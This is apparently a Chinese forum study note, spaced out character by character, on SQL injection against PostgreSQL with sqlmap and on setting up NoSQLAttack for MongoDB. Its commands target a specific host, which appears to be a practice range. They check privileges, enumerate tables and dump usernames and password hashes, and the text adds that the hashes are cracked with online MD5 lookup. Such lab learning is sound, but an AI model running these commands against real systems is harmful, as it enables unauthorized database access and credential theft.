搜索

[1962] 2021-07-24_sql注入_mysql_day06

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2021-07-24_sql注入_mysql_day06 s q l 注 入 _ m y s q l _ d a y 0 6 原 创   一 步 一 个 脚 印   D e m 0   2 0 2 1 - 0 7 - 2 4 p o s t g r e s q l 注 入 : s q l m a p 跑 ! 首 先     配 置 好   P y t h o n 2 . 7   的 环 境   然 后 通 过 s q l m a p     进 行 字 典 爆 破   在 不 知 道 数 据 库 类 型 的 情 况 下   通 过 以 下 语 句 跑 出 数 据 库 属 于 p o s t g r e s q l P y t h o n 2   s q l m a p . p y   p y t h o n 2     s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 9 5 1 0 / n e w _ l i s t . p h p ? i d = 1   加 上 - v   - 3       能 够 显 示 出   注 入 语 句 这 里 详 细 说 一 下   - v 参 数 的 作 用   一 共 有 7 个 等 级   - 3   说 明 显 示 注 入 的 p a y l o a d     ( 注 入 的 语 句 )   4 , 5 , 6   就 是 显 示 h t t p 方 面 的 信 息     0 , 1 , 2   就 显 示 一 些 警 告 信 息 p y t h o n 2     s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 9 5 1 0 / n e w _ l i s t . p h p ? i d = 1   - v   - 3 这 里 就 直 接   复 制 粘 贴     附 加 到 网 站 的 u r l 地 址     即 可 显 示    
判 断 是 否 为 高 权 限   p y t h o n 2   s q l m a p . p y     - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 9 5 1 0 / n e w _ l i s t . p h p ? i d = 1     - - i s - d b a   - - i s - d b a     判 断 是 否 为 管 理 员 用 户     如 果 是 的 话   回 显 就 会 显 示   t r u e   通 过   - - p r i v i l e g e s   判 断 数 据 库 当 前 的 权 限 ! ! ! ! !
然 后 老 样 子   查 询   数 据 库   表   列   然 后 数 据   查 出 用 户 名 密 码   通   在 线   m d 5 解 密   得 到 用 户 名 密 码   直 接     进 入 ! ! ! p y t h o n 2   s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 0 2 8 7 / n e w _ l i s t . p h p ? i d = 1   - - d b s   查 询 所 有 数 据 库 p y t h o n 2   s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 0 2 8 7 / n e w _ l i s t . p h p ? i d = 1   - - c u r r e n t - d b 查 询 出 当 前 数 据 库
p y t h o n 2   s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 0 2 8 7 / n e w _ l i s t . p h p ? i d = 1   - - t a b l e s   - D   " p u b l i c " 爆 出 指 定 数 据 库   中 的 所 有 表 p y t h o n 2   s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 0 2 8 7 / n e w _ l i s t . p h p ? i d = 1   - - c o l u m n s   - D   " p u b l i c "   - T     " r e g _ u s e r s " 爆 出 指 定 数 据 库   指 定 表   的   指 定 列   接 下 来 ! ! ! !     注 意   不 要 眨 眼
p y t h o n 2   s q l m a p . p y   - u   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 0 2 8 7 / n e w _ l i s t . p h p ? i d = 1   - - d u m p   - C   " n a m e , p a s s w o r d "   - D   " p u b l i c "   - T     " r e g _ u s e r s " 爆 出 指 定 数 据 库 指 定 表 指 定 列 中 的 数 据 ! ! ! !   通 过 在 心 啊 m d 5 解 密
关 于   m o n g o d b     的 注 入       s q l m a p   和 一 些   普 通 的 注 入 工 具 不 能 支 持   这 种 非 关 系 类 型 的 数 据 库   所 以     下 载 安 装 一 款 注 入 工 具 n o s q l a t t a c k     这 里 安 装 到 了     k a l i 里 面 h t t p s : / / g i t h u b . c o m / y o u n g y a n g y a n g 0 4 / N o S Q L A t t a c k / b l o b / m a s t e r / d o c s / R E A D M E - z h . m d 遇 到 一 些 问 题 由 于   这 款 工 具 利 用   p y t h o n 2 . 7 进 行 编 写 的   必 须 用 p y t h o n 2 . 7 进 行   运 行     k a l i 默 认 的     p y t h o n 2 . 7   缺 少   s h a d a n   和 p i p   所 以 要 先 安 装     p i p 和 s h a d a n 可 以 参 考 h t t p s : / / b l o g . c s d n . n e t / m 0 _ 4 8 1 0 8 9 1 9 / a r t i c l e / d e t a i l s / 1 1 6 7 1 8 7 4 4 核 心 思 想 就 是   下 载 一 个 p i p   然 后   运 行 一 下     在   安 装 s h a d a n     最 后     运 行 进 入 控 制 台
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理